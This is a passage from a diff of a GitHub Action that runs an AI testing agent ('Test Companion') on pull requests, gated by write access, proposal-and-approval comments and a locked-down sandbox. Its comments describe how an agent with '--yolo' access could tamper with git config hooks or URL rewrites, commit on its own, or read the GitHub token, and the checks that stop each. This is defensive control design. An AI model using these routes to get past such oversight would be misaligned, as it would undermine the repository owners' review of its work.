gh(["api", `repos/${REPO}`])?.default_branch +} + +let cachedEvent +function readEvent() { + // Parsed once. This is called seven times in a run, and the file cannot + // change underneath us — GitHub writes it before the job starts. + if (cachedEvent !== undefined) return cachedEvent + cachedEvent = readEventUncached() + return cachedEvent +} + +function readEventUncached() { + try { + return JSON.parse(readFileSync(env.GITHUB_EVENT_PATH, "utf8")) + } catch { + return {} + } +} + +/** Nothing to do. Report it plainly and let the step pass. */ +function finishSkipped(reason, detail) { + const human = { + "not-a-pull-request": "That comment was on an issue, not a pull request.", + "not-addressed-to-us": "No @browserstack mention, so nothing was asked of Test Companion.", + "proposal-superseded": "The plan being approved was for an earlier commit, so it was not run.", + "proposal-already-run": "That plan was already approved and run on this commit.", + "proposal-dropped": "That plan was stopped, so there was nothing left to approve.", + "nothing-failed": "Nothing has failed on this commit, so there was no build to look at.", + "comment-edited": "Editing a comment does not start a run.", + fork: "A pull request from a fork does not run with credentials until a maintainer asks for it.", + draft: "Draft pull requests do not start a run on their own. Comment to ask for one.", + "closed-unmerged": "The pull request was closed without merging.", + "build-not-red": "That run did not fail, so there is nothing to explain.", + "own-run": "That was Test Companion's own run; it does not explain itself.", + "unsupported-event": "Test Companion is not bound to this kind of event.", + "unsafe-context": "A value from this event looked like a command-line flag and was refused.", + "no-workflow-named": "A manual run needs a `workflow` input naming the job.", + "no-credentials": "Skipped: BrowserStack credentials are not available to this run.", + "no-binding": "Nothing in testcompanion-pipeline.yml is bound to this event, so there was nothing to run.", + // name the permission and the line to add. The commonest cause by + // far is a workflow without `pull-requests: read` — the lookup 403s, the + // head commit is unknown, and the run fails closed. Said plainly here + // because "nothing safe to run against" sends a reader looking at their + // pull request rather than at their permissions block. + "no-pr-head": + "Could not read that pull request, so there is no commit it is safe to run against. " + + "If this workflow has no `pull-requests: read` permission, add it.", + "not-authorized": "Only someone with write access to this repository can ask Test Companion for a run.", + "unmapped-request": "That comment did not name anything Test Companion can do; it was answered in the thread.", + stopped: "`stop` is no longer something Test Companion does; the reply says what to use instead.", + "not-bound": "That job is not bound to pull request comments in this repository.", + "nothing-to-approve": "Nothing is waiting for approval on this commit.", + "proposal-not-found": "That reply named a plan that is not waiting on this commit.", + "proposal-job-not-enabled": "That plan named a job this repository has not enabled, so it was not run.", + "already-done": "This job already ran for this commit, so it was not run again.", + "proposal-expired": "That proposal was more than a day old and has been dropped.", + proposed: "Proposed, and waiting for someone to reply go.", + "setup-requested": "Opened a pull request adding the settings file.", + }[reason] + const msg = human ?? `Nothing to do (${reason}).` + notice(`Test Companion: ${msg}`) + // The "in progress" check goes up before the CLI + // runs, so the run is cancellable while it is going. Skipping out from + // under it left "Test Companion" pending for ever — and `no-binding` is + // most events, so for most repositories that was most runs. + // + // Completing it here rather than posting the check later is what keeps + // that true. Nothing deliberately leaves a check pending through this + // function: the proposal path posts its own and exits directly. + for (const sha of checksMade.keys()) { + postCheck(OUTCOMES.SKIPPED, { outcome: "Skipped", summary: {}, runUrl: RUN_URL }, sha, [], "completed", msg) + } + addToJobSummary(`## Test Companion\n\n${msg}${detail ? `\n\n\`${detail}\`` : ""}`) + setOutput("outcome", "Skipped") + setOutput("should-fail", "false") + process.exit(0) +} + +/** + * no settings file means a clean pass and the file they need. + * + * Checked before anything else that could cost money or time. Left to the CLI + * this is a red build reading `open testcompanion-pipeline.yml: no such file or + * directory` — the person did nothing wrong, and the message names a file they + * have never heard of. + */ +function finishWithStarter(path) { + notice(`Test Companion: no ${path} yet, so there is nothing to run. A starter is on the run summary.`) + addToJobSummary(renderNoPipelineReport(path)) + setOutput("outcome", "Skipped") + setOutput("should-fail", "false") + process.exit(0) +} + +async function main() { + // Without a gh we trust, nothing can be reported, so a run would finish + // green and silent. Say so, and stop before anything is spent. + if (!GH_BIN) { + console.log( + "::error::Test Companion could not find GitHub's gh command in a system folder this job cannot write to " + + "(/usr/bin, /usr/local/bin, /opt/homebrew/bin or /bin). It will not run a gh found elsewhere, because " + + "that copy could have been replaced. Install gh system-wide on this runner.", + ) + process.exit(1) + } + + // Release 4: act as the App when it is installed, so the comment and the + // tick carry Test Companion's name. Before anything else talks to GitHub. + const appToken = appInstallationToken() + if (appToken) { + env.GH_TOKEN = appToken + notice("Test Companion: acting as the GitHub App.") + } + + // a run without credentials does nothing, says so, and passes. This is + // the normal shape of a fork pull request, not an error. + if (!env.BROWSERSTACK_USERNAME || !env.BROWSERSTACK_ACCESS_KEY) { + finishSkipped("no-credentials") + } + + // Before the plan, so a repository with no pipeline file gets the starter + // rather than whatever the planner happens to say about this event. + const configPath = pipelineConfigPath(env.TC_ACTION_CONFIG, env) + // from the default branch, never from the branch under test. + // May be undefined — a repository with no settings file is a normal, and + // very common, first run. It is NOT an early exit any more: a + // comment asking us to add that file is the one thing worth doing in a + // repository that has none, and the exit used to sit in front of it. + // Nothing below costs money before the settings check further down. + const settingsFile = fetchSettings(configPath, settingsRef(readEvent(), env)) + + // before anything else this run does, clear out proposals that ran + // out of time, so none of them leaves a check stuck on "in progress". + if (settingsFile && env.GITHUB_EVENT_NAME === "schedule") sweepExpiredProposals() + + let plan = planRun({ + eventName: env.GITHUB_EVENT_NAME, + payload: readEvent(), + repo: REPO, + sha: env.GITHUB_SHA, + ref: env.GITHUB_REF, + inputs: { + workflow: env.TC_ACTION_WORKFLOW, + preview: env.TC_ACTION_PREVIEW, + "self-workflow-name": env.TC_ACTION_SELF_WORKFLOW, + }, + }) + if (plan.skip) { + // closing a pull request without merging stops whatever it started. + if (plan.skip.reason === "closed-unmerged") cancelForClosedPr(readEvent()) + finishSkipped(plan.skip.reason, plan.skip.detail) + } + + // Only someone who can write to the repository may ask for a run by + // commenting. On a public repository anyone can comment, and a run runs an + // agent with --yolo against the customer's own machine and credentials. + // + // Fails CLOSED: if the permission lookup itself fails — no token, API + // down, rate limited — the run does not start. + // + // Keyed on the TRIGGER, not only on a flag the planner sets. A planner + // change that forgot the flag would delete this gate silently, and runs + // would simply start working for people who cannot start them. + // + // A comment names an issue, not a commit, so look the pull request up: + // the run works on ITS head and the check lands on that commit. Fails + // closed on a fork, like every other untrusted trigger. + let pull + if (!plan.context?.sha && plan.context?.pr) { + pull = gh(["api", `repos/${REPO}/pulls/${plan.context.pr}`]) + plan = withPullRequestHead(plan, pull, REPO) + if (plan.skip) finishSkipped(plan.skip, `PR #${plan.context.pr}`) + // Work on the commit that was asked about. The starter checks out the + // default branch for a comment event, since the payload names no ref. + if (!fetchAndCheckout(plan.context.sha)) { + warn(`Could not check out ${plan.context.sha}; running against the tree this job checked out.`) + } + } + + // the ticket this change is for, so the run tests against what the + // ticket asks for and not only what the diff does. The pull request object + // is already in hand for a comment event; for a pull_request event it is on + // the payload. + const prForTicket = pull ?? readEvent().pull_request + const ticket = findTicket({ + title: prForTicket?.title, + branch: plan.context?.branch ?? prForTicket?.head?.ref, + body: prForTicket?.body, + }) + if (ticket && plan.context) plan.context.ticket = ticket + + // Read once, before the access check: team narrowing lives in the + // same document as approval gate. + const bindingsDoc = settingsFile && plan.event ? readBindings(settingsFile, plan.event, plan.context?.branch) : undefined + const askTeam = bindingsDoc?.settings?.ask_team + + // Only issue_comment. `pull_request_review_comment` was listed here too, + // but route has no case for it, so such an event skips as + // "unsupported-event" long before this line — and the starter does not + // subscribe to it either. + // Jobs that understand --propose-only and --plan-file. For anything else + // the proposal IS the preview run's report. + const CARRIES_A_PLAN = new Set(["test-pr"]) + // Jobs that cannot run without knowing which build failed. + const NEEDS_A_BUILD = new Set(["rca", "fix", "verdict"]) + const COMMENT_TRIGGERS = new Set(["issue_comment"]) + if (COMMENT_TRIGGERS.has(env.GITHUB_EVENT_NAME) || plan.requiresWriteAccess) { + const who = plan.commenter ?? readEvent().comment?.user?.login + // write access is the floor, and the pipeline file may narrow it + // to a team. It may never widen it — see mayAsk. + const allowed = mayAsk({ + hasWriteAccess: hasWriteAccess(who), + askTeam, + inTeam: askTeam ? isOnTeam(who, askTeam) : undefined, + }) + if (!allowed) { + // A refusal wants a one-line reply, not a line in a log the person + // who asked will never open. + // + // Unless they never addressed us. An unaddressed comment reaches + // here only because it was a bare "go", and answering a bystander's + // one-word comment with a public refusal is noise in someone else's + // conversation. + if (!plan.approvalOnly) replyOnPr(plan.context?.pr, renderNotAuthorized(who ?? "there", askTeam)) + finishSkipped("not-authorized", who) + } + } + + // work out what the comment actually asked for, here, before the CLI + // is spawned — a request we cannot place has to cost nothing. + let proposing = false + let approvalNote = "" + if (plan.event === TC_EVENTS.PR_COMMENT) { + // pass what this repository has actually bound, so a job can be + // asked for by name and not only by the phrases written into PHRASES. + // Fetched BEFORE the intent is read, because what a reply means depends + // on whether we asked a question: with a plan waiting, "go, and fix + // case 3's title" is an approval with an edit, not a request to run + // `fix`. + const comments = flattenPages(gh(["api", `repos/${REPO}/issues/${plan.context.pr}/comments`, "--paginate", "--slurp"])) + let waiting = findProposal(comments, plan.context.sha, Date.now(), botLogin) + + const enabledJobs = (bindingsDoc?.bindings ?? []).filter((b) => b.enabled).map((b) => b.workflow) + const intent = readIntent(plan.context.instructions, { + workflows: enabledJobs, + proposalWaiting: Boolean(waiting), + }) + + if (intent.kind === INTENT.UNKNOWN) { + replyOnPr(plan.context.pr, renderUnknownRequest()) + finishSkipped("unmapped-request") + } + // `stop` is gone. The word is still answered, because proposals already + // in live threads tell people to say it; it just says what to do + // instead and starts nothing. + // + // Still handled BEFORE the job words, for the reason it always was: + // falling through would be the worst possible reading of "stop", where + // the person asks for the run to end and a new one begins. + if (intent.kind === INTENT.STOP) { + replyOnPr(plan.context.pr, renderStopRemoved()) + finishSkipped("stopped") + } + if (intent.kind === INTENT.SETUP) { + openSetupPr(plan, configPath) + finishSkipped("setup-requested") + } + + // `go #` names WHICH plan. Resolved here because the intent is + // what carries the number, and before + // anything reads `waiting`, because from this point on it IS the plan + // being approved. + // + // A number that matches nothing gets its own answer rather than the + // generic "nothing is waiting": the person was specific, and telling + // them the thread is empty when it is not would send them looking in + // the wrong place. + if (intent.kind === INTENT.GO && intent.proposalId) { + waiting = findProposal(comments, plan.context.sha, Date.now(), botLogin, { id: intent.proposalId }) + if (!waiting) { + replyOnPr( + plan.context.pr, + `I have no plan \`#${intent.proposalId}\` still waiting on \`${String(plan.context.sha).slice(0, 7)}\`. ` + + `It may have been approved, dropped, or written against an earlier commit. ` + + `Reply **go** on its own to approve the most recent one.`, + ) + finishSkipped("proposal-not-found") + } + } + + // A named job narrows what the binding would otherwise choose. The event + // is kept, so the binding still governs result mode and limits — asking + // by comment must not be a way around the repository's own settings. + if (intent.workflow) plan.workflow = intent.workflow + + const bindings = bindingsDoc + const binding = pickBinding(bindings, intent.workflow) + + // A comment may only ask for a BOUND workflow. Saying so now beats a preview run, + // a proposal, a "go", and only then "no binding for pr_comment". + if (intent.workflow && bindings && !binding) { + replyOnPr( + plan.context.pr, + `\`${intent.workflow}\` is not bound to pull request comments in this repository, so nothing ran. Bind it in \`${configPath}\` under \`on: pr_comment\`.`, + ) + finishSkipped("not-bound", intent.workflow) + } + + // An unaddressed comment only ever reaches us as a possible approval. + // With nothing waiting, it is what it looked like: a person talking to + // each other, not to us. + // + // Unless a plan we put up has been left behind by a newer commit. Then + // they were talking to us, they used a word we accept, and telling them + // "no @browserstack mention" is both wrong and unhelpful — the reason + // is sitting in the comment history. + if (plan.approvalOnly && !waiting) { + // Already approved, or already stopped. Checked BEFORE the + // superseded reading, which otherwise reaches for any older plan + // still in the thread and tells the person their branch moved on + // when it did not, on the very commit the plan had just been + // approved and run against. + const used = proposalAlreadyUsed(comments, plan.context.sha, botLogin, plan.workflow) + if (used) { + replyOnPr( + plan.context.pr, + used === "approved" + ? "That plan has already been approved and run on this commit — there is nothing left to approve. Ask me again and I will put up a fresh one." + : "That plan was stopped, so there is nothing left to approve. Ask me again and I will put up a fresh one.", + ) + finishSkipped(used === "approved" ? "proposal-already-run" : "proposal-dropped") + } + + const stale = findSupersededProposal(comments, plan.context.sha, botLogin) + if (stale) { + replyOnPr( + plan.context.pr, + `That plan was for \`${String(stale.sha).slice(0, 7)}\`, and this branch has moved on since — ` + + `a plan written against code that has changed is not safe to run. ` + + `Ask me again and I will put up a fresh one for \`${String(plan.context.sha).slice(0, 7)}\`.`, + ) + finishSkipped("proposal-superseded") + } + finishSkipped("not-addressed-to-us") + } + const gate = decideGate({ + intent, + approval: binding?.approval, + proposal: waiting, + actor: plan.commenter ?? plan.context.actor, + // Named by the comment when it named one, otherwise whatever the + // binding would run — the gate needs the job that will ACTUALLY run. + workflow: plan.workflow ?? binding?.workflow, + }) + + if (gate.action === GATE.NOTHING_TO_APPROVE) { + replyOnPr( + plan.context.pr, + "There is nothing waiting for approval on this commit. Ask for a job by name and I will propose one.", + ) + finishSkipped("nothing-to-approve") + } + if (gate.action === GATE.EXPIRED) { + // dropped after 24 hours. Enforced on the approving side, so a + // stale proposal cannot be approved however long it sits there. + replyOnPr( + plan.context.pr, + "That proposal is more than a day old, so I have dropped it. Ask again and I will put up a fresh one.", + ) + finishSkipped("proposal-expired") + } + + if (gate.approvedProposal) { + // Pin the run to the job that was actually proposed and read. The + // GO intent names no workflow, so without this the CLI resolved one + // from the event alone — whichever binding came first in the file + // and a `fix` proposal could run something else, live, with --yolo. + if (waiting?.workflow) { + if (!isApprovableJob(waiting.workflow, enabledJobs)) { + replyOnPr( + plan.context.pr, + "That plan names a job this repository does not have enabled, so I have not run it. Ask again and I will put up a fresh one.", + ) + finishSkipped("proposal-job-not-enabled") + } + plan.workflow = waiting.workflow + } + + // Adopt the check the PROPOSAL run left in progress. This run is a + // different process with an empty memo, so without the lookup it + // posts a SECOND check and the proposal's one stays pending beside + // it for the life of the branch. The sweep already does this; + // the approval path did not. + const pending = inFlightCheckId( + gh(["api", `repos/${REPO}/commits/${plan.context.sha}/check-runs?per_page=100`])?.check_runs, + ) + if (pending) rememberCheck(plan.context.sha, pending) + // Named with the JOB it finished. Without that, approving `fix` + // leaves a waiting `generate` plan unapprovable until somebody + // pushes. + consumedMarker = proposalConsumedMarkerFor(plan.context.sha, plan.workflow) + approvedPlan = waiting?.url ? { id: waiting.id, url: waiting.url } : undefined + + // the run carries out the approved plan — the proposal as the + // approver left it, edits and all. Written to a file rather than + // squeezed onto a command line: a case list is prose, and --context + // strips the punctuation it is written with. + const replyText = plan.context.instructions + const planFile = join(REPORT_DIR, "approved-plan.md") + writeFileSync(planFile, renderApprovedPlan(waiting?.body, replyText)) + if (CARRIES_A_PLAN.has(plan.workflow)) plan.context.plan_file = planFile + + // And the approving comment's own text stops here. The edits are in + // the plan file now; passing the raw reply as well would put free + // text back on the path to the agent, which is what made the approval + // meaningless in the first place. + delete plan.context.instructions + + // Reported, not refused. Both asking and approving need write access, + // so one person doing both is not an escalation — but edits made at + // approval time were reviewed by nobody but the approver, and on a + // self-approved run by nobody at all. A reviewer should see that. + if (gate.selfApproved) { + approvalNote = hasApproverEdits(replyText) + ? ` Approved by @${plan.commenter}, who also asked for it — and edited the plan while approving, so nobody else reviewed those changes.` + : ` Approved by @${plan.commenter}, who also asked for it.` + notice(`Test Companion:${approvalNote}`) + } + } else { + // too big to cover in one go — say so to the run, which then + // covers what matters and lists what it left out. + const size = describeChangeSize(pull) + if (size.large) { + plan.context.focus = `${size.files} files and ${size.lines} changed lines` + } + } + + proposing = gate.action === GATE.PROPOSE + // a planning pass has to KNOW it is one. Without this it attempts + // the work, is refused by preview, and reports "Could not run" after + // spending real credits — observed on the first live run. + // Only `test-pr` has --propose-only and --plan-file; sending either to + // any other job is an unknown-flag exit before the run starts. + // + // The gate still works for them, because a proposal run is a PREVIEW + // run and preview is enforced in tool dispatch: it does the work, + // writes nothing, and its report is what the reviewer approves. + if (proposing && CARRIES_A_PLAN.has(plan.workflow)) plan.context.propose_only = "true" + if (gate.preview || intent.preview) plan.preview = true + + // THIS RUNS LAST, and it has to. + // + // `rca`, `fix` and `verdict` need to know WHICH build failed. A + // build_failed trigger is handed the run; a comment is not. + // + // Last, because the workflow is not final until the approval handling + // above has run: "go" names no job, so the job comes from the proposal + // being approved. Higher up, asking for an rca would work and + // APPROVING it would not — the CLI gets spawned with no build and + // refuses with `rca requires --context build=`. + // + // The newest red run on this commit is what a person means by "the + // failure". Only looked up when the job needs it and the caller has + // not already said. + if (NEEDS_A_BUILD.has(plan.workflow) && !plan.context.build) { + const runs = gh(["api", `repos/${REPO}/actions/runs?head_sha=${plan.context.sha}&per_page=100`]) + const failed = latestFailedRun(runs?.workflow_runs, { + selfRunId: env.GITHUB_RUN_ID, + selfWorkflowName: env.TC_ACTION_SELF_WORKFLOW, + }) + if (!failed) { + // Nothing red is an answer, not an error. + replyOnPr( + plan.context.pr, + `Nothing has failed on \`${String(plan.context.sha).slice(0, 7)}\`, so there is no build for me to look at. Re-run me once something is red, or say what you want tested instead.`, + ) + finishSkipped("nothing-failed", plan.workflow) + } + plan.context.build = failed + notice(`Test Companion: reading the failure from ${failed}`) + } + } + + // no settings file means a clean pass and the file they need. Checked + // before anything that costs money or time — the comment handling above + // spends only API calls, and "set up this repo" has to be reachable from here. + if (!settingsFile) { + finishWithStarter(configPath) + } + + + // Put the tree on the commit under review, when nothing else already has. + // + // An `issue_comment` event checks out the DEFAULT branch, and a + // `pull_request` event checks out the MERGE commit. Neither is the commit + // the run is about, and the starter workflow cannot be amended once + // customers have merged it, so the Action corrects its own checkout. + // + // No --depth: on a clone made with fetch-depth 0 a shallow fetch makes a + // COMPLETE clone shallow, taking history away from the agent and from + // tc's dedupe claim. + // + // Advisory. A checkout we cannot do is reported and the run continues + // against whatever is here, because a proposal built from the diff is + // still worth having. shouldPushWork re-checks before anything is pushed. + if ( + plan.context.branch && + plan.context.sha && + needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }) + ) { + const moved = fetchAndCheckout(plan.context.sha, plan.context.branch) + if (moved) notice(`Working on ${plan.context.branch} at ${String(plan.context.sha).slice(0, 7)}.`) + else warn(`Could not check out ${plan.context.branch}; the run sees whatever this job checked out.`) + } + + const saving = shouldPushWork({ + preview: plan.preview, + // From whichever source THIS trigger actually has. A comment names an + // issue, so `pull` was fetched to resolve a head sha; a pull_request + // event carries the head on its own payload and nothing is fetched. + // Reading only `pull` refused every pull_request-triggered push. + sameRepo: isSameRepo(prForTicket?.head?.repo?.full_name, REPO), + branch: plan.context.branch, + headAuthorEmail: git(["log", "-1", "--format=%ae"]).out, + // The tree is put on the pull request's commit much earlier, where the + // comment's issue number is resolved to a head sha. That fetch is + // ADVISORY — it warns and carries on, so the proposal still gets built + // from the diff — which makes this the check that the advisory step + // actually worked. Pushing from a tree that is not the reviewed commit + // would send the default branch's content to the pull request's branch. + onWantedCommit: !needsCheckout({ headSha: git(["rev-parse", "HEAD"]).out, wantSha: plan.context.sha }), + defaultBranch: defaultBranchName(), + }) + if (plan.context.branch && !plan.preview && !saving.ok) { + notice(`Nothing will be saved to ${plan.context.branch}: ${saving.why}.`) + } + + // Lock the agent down before it starts: a separate user, no admin rights, + // no way into this Action's process or the runner's files. See + // sandbox-policy.mjs for what that closes. Set up AFTER the checkout, so + // the tree it is given is the one under review. + const sandbox = isolateAgent(plan) + + // A manual run names its job and carries no event, which is how the CLI is + // told to ignore the bindings. An event-driven run does NOT name one: + // which job an event runs is the pipeline file's decision, so the Action + // passes only --event. Guessing a name here was the first live run's + // failure — `no binding for "pr_opened" (workflow "test")`, because the + // repository had bound `generate`. + const args = ["workflow", "run"] + if (plan.workflow) args.push(plan.workflow) + if (plan.event) args.push("--event", plan.event) + // One flag per pair. A single joined value is parsed by pflag with + // encoding/csv, where one double quote anywhere — `Fix "Pay now" button` + // fails the whole flag and the run reports "Could not run". + // The run's files. When the agent is locked down, the ones it reads are + // copies in its `in` folder and the ones it writes land in its `out` + // folder; ours are in the runner's home, which it cannot reach. + const runFiles = sandbox + ? { + config: handToAgent(sandbox, settingsFile, "testcompanion-pipeline.yml"), + summary: `${sandbox.out}/report.md`, + result: `${sandbox.out}/result.md`, + handoff: `${sandbox.out}/pr-handoff.json`, + } + : { config: settingsFile, summary: SUMMARY_FILE, result: RESULT_FILE } + if (sandbox && plan.context.plan_file) plan.context.plan_file = handToAgent(sandbox, plan.context.plan_file, "approved-plan.md") + args.push(...contextArgs(plan.context)) + if (plan.preview) args.push("--preview") + // The fetched copy, not whatever the checkout holds. + args.push("--config", runFiles.config) + args.push("--json", "--yolo", "--summary-file", runFiles.summary, "--result-file", runFiles.result) + + // The "already running" marker. The locked-down agent has nothing to + // write to GitHub with, so the Action plants the marker itself, before + // the run, and tells the CLI it is held. A marker already there means + // this job already ran for this commit. + const claim = sandbox ? holdClaim(plan, settingsFile) : { held: false } + if (claim.collision) finishSkipped("already-done", claim.workflow) + if (claim.passFlag) args.push("--claim-held") + + // The handle anything cancelling this run needs — a pull request closed + // without merging is the one left. Posted BEFORE the run, because + // a check written at the end cannot help cancel the run that is writing + // it. It also makes "the check shows while it runs" true for every + // run rather than only a proposal. + const checkSubject = checkSha(plan.context, {}, env.GITHUB_SHA) + if (checkSubject) { + postCheck( + "Running", + { workflow: plan.workflow, outcome: "Running", summary: {}, runUrl: RUN_URL }, + checkSubject, + [], + "in_progress", + plan.preview ? "Planning" : "Running", + ) + } + + // Where HEAD was before the agent touched anything. + headBeforeRun = git(["rev-parse", "HEAD"]).out + notice(`tc ${args.join(" ")}`) + // Both files are written by `tc` itself, and the result file only when the + // run generates cases. Remove any stale copy first so a run that produces + // nothing cannot report an earlier run's work as its own. + for (const f of [SUMMARY_FILE, RESULT_FILE]) { + try { + rmSync(f, { force: true }) + } catch { + // A temp file we cannot remove is not worth failing the run over; the + // sha check on the summary is the backstop. + } + } + // The GitHub token belongs to the Action's own reporting, never to the agent. + // The run executes shell commands the model chooses; anything in this + // environment is readable by them. Stripped rather than trusted, because the + // product only scrubs these on BrowserStack-hosted runs, not a customer's + // own machine. + const run = sandbox ? await runLockedDown(sandbox, args, runFiles) : await runCapturingAnswer("tc", args, childEnvFor(env)) + const exitCode = run.status ?? 1 + + if (sandbox) { + // Stop anything the agent left running before reading its files or + // saving its work, then bring its files over to where the rest of this + // Action (and the upload steps) expect them. + stopSandbox(sandbox) + for (const [from, to] of [ + [runFiles.summary, SUMMARY_FILE], + [runFiles.result, RESULT_FILE], + ]) { + const text = readAgentFile(from) + if (text !== undefined) writeFileSync(to, text) + } + if (claim.held && exitCode !== 0) releaseClaim(claim) + if (!plan.preview) handoffNote = openHandedOffPr(runFiles.handoff, plan) + } + + // The report is absent whenever the process was killed, so treat it as a + // real case rather than assuming it is there. + let summaryText + try { + summaryText = readFileSync(SUMMARY_FILE, "utf8") + } catch { + summaryText = undefined + } + const summary = parseSummary(summaryText) + // Read separately from parseSummary, which builds an object: repeated + // `failed_test:` keys would collapse to the last one. + const failedTests = parseFailedTests(summaryText) + const outcome = resolveOutcome(exitCode, summary) + + // Nothing was bound to this event. Finish the way every other "nothing to + // do" finishes — no check, no comment, green step — rather than reporting a + // run that never happened. The starter subscribes to every trigger, so for + // most repositories most events land here. + if (outcome === OUTCOMES.SKIPPED) { + finishSkipped("no-binding", summary.event) + } + // Absent whenever the run generated nothing, which is most workflows. Its + // presence is what tells the report there is something to point a reader at. + const hasResult = existsSync(RESULT_FILE) + const readResult = () => { + try { + return readFileSync(RESULT_FILE, "utf8") + } catch { + // Best effort, exactly as the CLI treats writing it: a report we + // cannot read back is not worth failing a finished run over. + return undefined + } + } + + // a configured write that could not happen is said out loud, naming + // what is missing — a silent skip reads as "there was nothing to write". + const warnings = [] + const testsRepo = bindingsDoc?.settings?.tests_repo + if (testsRepo) { + const probe = gh(["api", `repos/${testsRepo}`]) + const access = describeTestRepoAccess({ testsRepo, thisRepo: REPO, canPush: probe?.permissions?.push }) + if (!access.ok) warnings.push(access.message) + } + + // silent unless the settings asked for them. + const extraChecks = renderExtraChecks(summary, { + wcag: bindingsDoc?.settings?.wcag, + visual: bindingsDoc?.settings?.visual, + }) + + // the approved work must outlive the runner. Until this existed + // nothing carried it off the machine — the CLI opens a pull request only + // for `automate` and `fix`, so an approved `test-pr` run wrote eight + // passing tests and lost all eight. + // automate and fix hand back a pull request to open rather than work to + // save on this branch; when they did, that is what the comment reports. + const workNote = handoffNote ?? saveWork(saving, plan) + + const view = { + workflow: plan.workflow ?? summary.workflow, + // Which plan this run carried out — undefined on a run nobody approved. + approvedPlan, + workNote, + extraChecks, + warnings, + outcome, + summary, + runUrl: RUN_URL, + // two runs a week apart on the same pinned version must report the + // same CLI version, which means showing it. + cliVersion: summary.cli_version || env.TC_ACTION_CLI_VERSION, + resultArtifact: hasResult ? RESULT_ARTIFACT : undefined, + // Which request this answers. The comment is edited in place, so on a + // pull request where several people have asked for different things, + // nothing otherwise said whose question the current contents answer. + askedBy: plan.commenter, + askedAt: plan.askedAt, + // `rca` and `verdict` leave no artefact — their result file holds the + // agent's closing words, and that IS what was asked for. Without this + // the comment is a table saying "Succeeded" with no answer in it. + // + // The closing words are read from the output stream for EVERY job, so + // `fix` does not post a "Succeeded" table with its diagnosis nowhere + // in sight. The result file stays as the fallback for the two verbs + // the CLI writes it for, so a stream we fail to parse cannot lose + // what worked. + // + // Still gated on ANSWER_JOBS: for `generate` that file holds test + // cases, not prose. + answer: run.answer || (hasResult && ANSWER_JOBS.has(plan.workflow ?? summary.workflow) ? readResult() : undefined), + failedTests, + } + // a held request posts what it WOULD do and ends. The run that + // produced this was a preview run, so nothing has been written. + if (proposing) { + const sha = checkSha(plan.context, summary, env.GITHUB_SHA) + addToJobSummary(renderJobSummary(view)) + // say when the change is too big to test in one go, so the + // reviewer can narrow the list before approving rather than after. + const size = describeChangeSize(pull) + const sizeNote = size.large + ? `> **This is a large change** — ${size.files} files and ${size.lines} changed lines. Trim the list below before replying go if you only want part of it covered.\n\n` + : "" + // The plan itself, which the run writes to the result file. Without it + // the proposal is a report header and nothing to review. + let planBody = "" + try { + planBody = readFileSync(RESULT_FILE, "utf8") + } catch { + // No result file means the run produced no plan; renderProposalBody + // says so rather than rendering an empty proposal. + } + replyOnPr( + plan.context.pr, + renderProposal( + // The same cap, for the same reason: this body is a comment, and + // an over-long one does not truncate — it fails to post, taking + // the whole proposal with it. + renderProposalBody({ summary: renderCheckSummary(view), plan: planBody, sizeNote }), + sha, + plan.commenter, + // record WHICH job this proposal is for, so approving it + // cannot run a different one. + plan.workflow ?? summary.workflow, + ), + ) + // the check shows in progress while the proposal waits. + postCheck(outcome, view, sha, [], "in_progress") + setOutput("outcome", "Proposed") + setOutput("should-fail", "false") + process.exit(0) + } + + addToJobSummary(renderJobSummary(view)) + if (summaryText) setOutput("summary-file", SUMMARY_FILE) + if (hasResult) setOutput("result-file", RESULT_FILE) + setOutput("outcome", outcome) + setOutput("should-fail", String(stepShouldFail(env.TC_ACTION_BUILD_EFFECT, outcome))) + + // each failing test on the line it is declared on, so a reviewer sees + // it in the files-changed view instead of having to open the run's logs. + // Empty whenever the reporter printed no locator, which is every mocha run + // those failures are named in the report instead. + const annotations = buildAnnotations(failedTests) + // accessibility may turn the check red, but ONLY when the settings + // say so and only for violations this change introduced. The step's own + // result is untouched — that follows the build effect. + const checkOutcome = + outcome === OUTCOMES.SUCCEEDED && + accessibilityFailsCheck(summary, { + wcag: bindingsDoc?.settings?.wcag, + failOnNew: bindingsDoc?.settings?.fail_on_new, + }) + ? OUTCOMES.TESTS_FAILED + : outcome + postCheck(checkOutcome, view, checkSha(plan.context, summary, env.GITHUB_SHA), annotations) + // Mark the plan spent only if a run actually happened. A run that broke + // before doing anything used to spend it anyway, which left the commit + // permanently unapprovable. See approvalWasSpent. + // On the PROPOSAL, before the comment: the proposal outlives every later + // run, and the shared comment does not. + if (approvalWasSpent(outcome)) markPlanSpent(approvedPlan?.id, consumedMarker) + if (plan.context.pr) + postComment(plan.context.pr, { + ...view, + approvalNote, + consumedMarker: approvalWasSpent(outcome) ? consumedMarker : "", + }) + + // Always exit 0. Whether the build goes red is the build effect's call, and + // a separate step applies it — otherwise the report never gets attached. + process.exit(0) +} + +/** + * Commit what the run wrote, onto the pull request's own branch. + * + * A commit on the branch rather than a second pull request: someone who asked + * for tests on their change wants them on their change, not in a review queue + * behind it. + * + * Returns the line for the comment, or undefined when there was nothing to + * save. Never throws and never fails the run — a failed push that takes the + * whole run down loses the report too. + */ +function saveWork(saving, plan) { + if (!saving.ok) return undefined + const branch = plan.context.branch + // We push HEAD, so a commit the AGENT made rides + // along unfiltered — source, lockfiles, `.github/` — and a workflow-file + // change fails the whole push with an error nobody can read. Our own + // commit happens below, after this check, so a HEAD that moved during the + // run was not us. + if (agentCommitted(headBeforeRun, git(["rev-parse", "HEAD"]).out)) { + return [ + `**Could not save this work to \`${branch}\`:** the run committed to this branch itself,`, + "so what is on HEAD is not what Test Companion chose to write. Nothing was pushed —", + "the run's changes are in the job's workspace only.", + ].join(" ") + } + if (!GIT_BIN) { + return `**Could not save this work to \`${branch}\`:** no trusted \`git\` was found on this runner (looked for a root-owned /usr/bin/git and /bin/git). Nothing was committed or pushed.` + } + + // .git/config decides whether git runs a program for us and where a push + // ends up, and the agent has just had --yolo write access to it. An + // ordinary actions/checkout never sets any of the keys this looks for, so + // one being present means the config was changed after the checkout. + // + // This runs before `git status`, because status can run a clean filter + // itself — by the time we have a file list it is already too late. + const unexpected = unexpectedConfigKeys(git(CONFIG_READ_ARGS).raw) + if (unexpected.length) { + return [ + `**Could not save this work to \`${branch}\`:** the repository's git config carries`, + `${unexpected.map((k) => `\`${k}\``).join(", ")}, which \`actions/checkout\` does not write. Config is`, + 'where git keeps its "run this program" hooks and its URL rewrites, so Test Companion will not', + "commit against a config it does not recognise. Nothing was committed or pushed — the run's", + "changes are in the job's workspace only.", + 